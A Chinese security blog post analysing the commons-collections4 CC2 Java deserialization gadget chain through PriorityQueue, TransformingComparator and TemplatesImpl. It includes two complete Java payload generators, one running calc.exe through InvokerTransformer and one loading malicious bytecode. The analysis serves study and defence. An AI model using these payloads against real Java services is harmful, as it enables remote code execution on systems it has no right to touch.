Java反序列化漏洞(四)- CommonsCollections2链

在 commons-collections 4 中有两条链子是可以利用的分别是cc2 和 cc4 在4.0中InvokerTransformer这个类还是实现Serializable所以还可以序列化的,相比 commons collections 3 而且还多了TransformingComparator这个类,测试依赖版本 commons-collections4 4.0。

0x01 前置知识

PriorityQueue

PriorityQueue 优先级队列是基于优先级堆(a priority heap)的一种特殊队列,他给每个元素定义“优先级”,这样取出数据的时候会按照优先级来取。默认情况下,优先级队列会根据自然顺序对元素进行排序。

因此,放入PriorityQueue的元素,必须实现 Comparable 接口,PriorityQueue 会根据元素的排序顺序决定出队的优先级。如果没有实现 Comparable 接口,PriorityQueue 还允许我们提供一个 Comparator 对象来判断两个元素的顺序。

PriorityQueue 支持反序列化,在重写的 readObject 方法中,将数据反序列化到 queue 中之后,会调用 heapify() 方法来对数据进行排序

heapify() 方法调用 siftDown() 方法,在 comparator 属性不为空的情况下,调用 siftDownUsingComparator() 方法

siftDownUsingComparator() 方法中,会调用 comparator 的 compare() 方法来进行优先级的比较和排序。

这样,反序列化之后的优先级队列,也拥有了顺序。

TransformingComparator

TransformingComparator 是触发这个漏洞的一个关键点,他将 Transformer 执行点和 PriorityQueue 触发点连接了起来。

TransformingComparator 看类名就类似 TransformedMap,实际作用也类似,用 Tranformer 来装饰一个 Comparator。也就是说,待比较的值将先使用 Tranformer 转换,再传递给 Comparator 比较。

TransformingComparator 初始化时配置 Transformer 和 Comparator,如果不指定 Comparator,则使用 ComparableComparator.<Comparable>comparableComparator()

在调用 TransformingComparator 的 compare 方法时,可以看到调用了 this.transformer.transform() 方法对要比较的两个值进行转换,然后再调用 compare 方法比较。

TemplatesImpl

TemplatesImpl 类位于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,实现了 Serializable 接口,因此它可以被序列化,我们来看一下漏洞触发点。
首先我们注意到该类中存在一个成员属性 _class,是一个 Class 类型的数组,数组里下标为_transletIndex 的类会在 getTransletInstance() 方法中使用 newInstance() 实例化。

而类中的 getOutputProperties() 方法调用 newTransformer() 方法,而 newTransformer() 又调用了 getTransletInstance() 方法。

getOutputProperties() 方法就是类成员变量 _outputProperties 的 getter 方法。

这就给了我们调用链,那 _class 中的类是否可控呢?看一下调用,发现在 readObject、构造方法以及 defineTransletClasses() 中有赋值的动作。

其中 defineTransletClasses()getTransletInstance() 中,如果 _class 不为空即会被调用,看一下 defineTransletClasses() 的逻辑:

首先要求 _bytecodes 不为空,接着就会调用自定义的 ClassLoader 去加载 _bytecodes 中的 byte[] 。而 _bytecodes 也是该类的成员属性。

而如果这个类的父类为 ABSTRACT_TRANSLET 也就是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,就会将类成员属性的,_transletIndex 设置为当前循环中的标记位,而如果是第一次调用,就是_class[0]。如果父类不是这个类,将会抛出异常。

简单总结就是:

  • TemplatesImpl 的属性 _bytecodes 存储了类字节码
  • TemplatesImpl 类的部分方法可以使用这个类字节码去实例化这个类,这个类的父类需是 AbstractTranslet
  • 在这个类的无参构造方法或静态代码块中写入恶意代码,再借 TemplatesImpl 之手实例化这个类触发恶意代码

0x02 攻击构造

看到了 Transformer 对象,那后面的攻击流程就容易理解了,还是使用 ChainedTransformer 调用 InvokerTransformer 来触发恶意操作。

最终的恶意代码为:

    public static String fileName = "CC2WithChain.bin";

    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException, IOException {

        // 初始化 Transformer
        ChainedTransformer chain = new ChainedTransformer(new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}));

        TransformingComparator comparator = new TransformingComparator(chain);

        // 在初始化时不带入 comparator,而是
        PriorityQueue<String> queue = new PriorityQueue<>(2);
        queue.add("1");
        queue.add("2");

        Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(queue, comparator);

        writeObjectToFile(queue, fileName);
        readFileObject(fileName);
    }

    public static void writeObjectToFile(Serializable obj, String fileName) throws IOException {
        try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(fileName))) {
            oos.writeObject(obj);
        }
    }

    public static Object readFileObject(String fileName) throws IOException, ClassNotFoundException {
        try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName))) {
            return ois.readObject();
        }
    }

这里需要注意的是,在初始化 PriorityQueue 时没有指定 comparator,而是使用反射写入,这是为了避免在向 queue 中添加内容时触发排序而导致触发恶意 payload。

ysoserial 的 CC2 没有使用 ChainedTransformer,而直接使用了 InvokerTransformer 配合 TemplatesImpl 直接加载恶意类的 bytecode。

触发逻辑为:

  • 创建恶意的 TemplatesImpl 对象,写入 _bytecodes_name 属性,完成调用 newTransformer 方法触发恶意类的实例化的条件。
  • 创建 PriorityQueue,由于 TemplatesImpl 不是 Comparable 对象,需要反射将恶意的 TemplatesImpl 对象写入到 PriorityQueue 的 queue 中。
  • 使用 InvokerTransformer (调用被装饰对象的 newTransformer 方法)创建 TransformingComparator ,并将其赋予到 PriorityQueue 中。

最终的恶意代码为:

    public static String fileName = "CC2WithTemplatesImpl.bin";

    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {

        // 读取恶意类 bytes[]
        InputStream inputStream = CC2WithTemplatesImpl.class.getResourceAsStream("EvilClassForCC2.class");
        byte[] bytes = new byte[inputStream.available()];
        inputStream.read(bytes);

        // 初始化 PriorityQueue
        PriorityQueue<Object> queue = new PriorityQueue<>(2);
        queue.add("1");
        queue.add("2");


        // 初始化 TemplatesImpl 对象
        TemplatesImpl tmpl      = new TemplatesImpl();
        Field         bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(tmpl, new byte[][]{bytes});
        // _name 不能为空
        Field name = TemplatesImpl.class.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(tmpl, "sanshi");

        Field field = PriorityQueue.class.getDeclaredField("queue");
        field.setAccessible(true);
        Object[] objects = (Object[]) field.get(queue);
        objects[0] = tmpl;

        // 用 InvokerTransformer 来反射调用 TemplatesImpl 的 newTransformer 方法
        // 这个类是 public 的,方便调用
        Transformer transformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
        TransformingComparator comparator  = new TransformingComparator(transformer);

        Field field2 = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        field2.setAccessible(true);
        field2.set(queue, comparator);

        writeObjectToFile(queue, fileName);
        readFileObject(fileName);
    }

    public static void writeObjectToFile(Serializable obj, String fileName) throws IOException {
        try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(fileName))) {
            oos.writeObject(obj);
        }
    }

    public static Object readFileObject(String fileName) throws IOException, ClassNotFoundException {
        try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName))) {
            return ois.readObject();
        }
    }

0x03 总结

以上就是 CC2 链分析的全部内容了,最后总结一下。
1.利用说明

  • 利用 PriorityQueue 在反序列化后会对队列进行优先级排序的特点,为其指定 TransformingComparator 排序方法,并在其中为其添加 Transforer,与 CC1 类似,主要的触发位置还是 InvokerTransformer。

2.Gadget 总结:

  • kick-off gadget:java.util.PriorityQueue#readObject()
  • sink gadget:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer()
  • chain gadget:org.apache.commons.collections4.comparators.TransformingComparator#compare()

3.调用链展示:

PriorityQueue.readObject()
    TransformingComparator.compare()
        *ChainedTransformer.transform()
                InvokerTransformer.transform()
                    TemplatesImpl.newTransformer()

4.依赖版本:
commons-collections4 : 4.0

免责声明

免责声明:本博客的内容仅供合法、正当、健康的用途,切勿将其用于违反法律法规的行为。如因此导致任何法律责任或纠纷,本博客概不负责。谢谢您的理解与配合!

本文链接:

https://sanshiok.com/archive/21.html

# 最新文章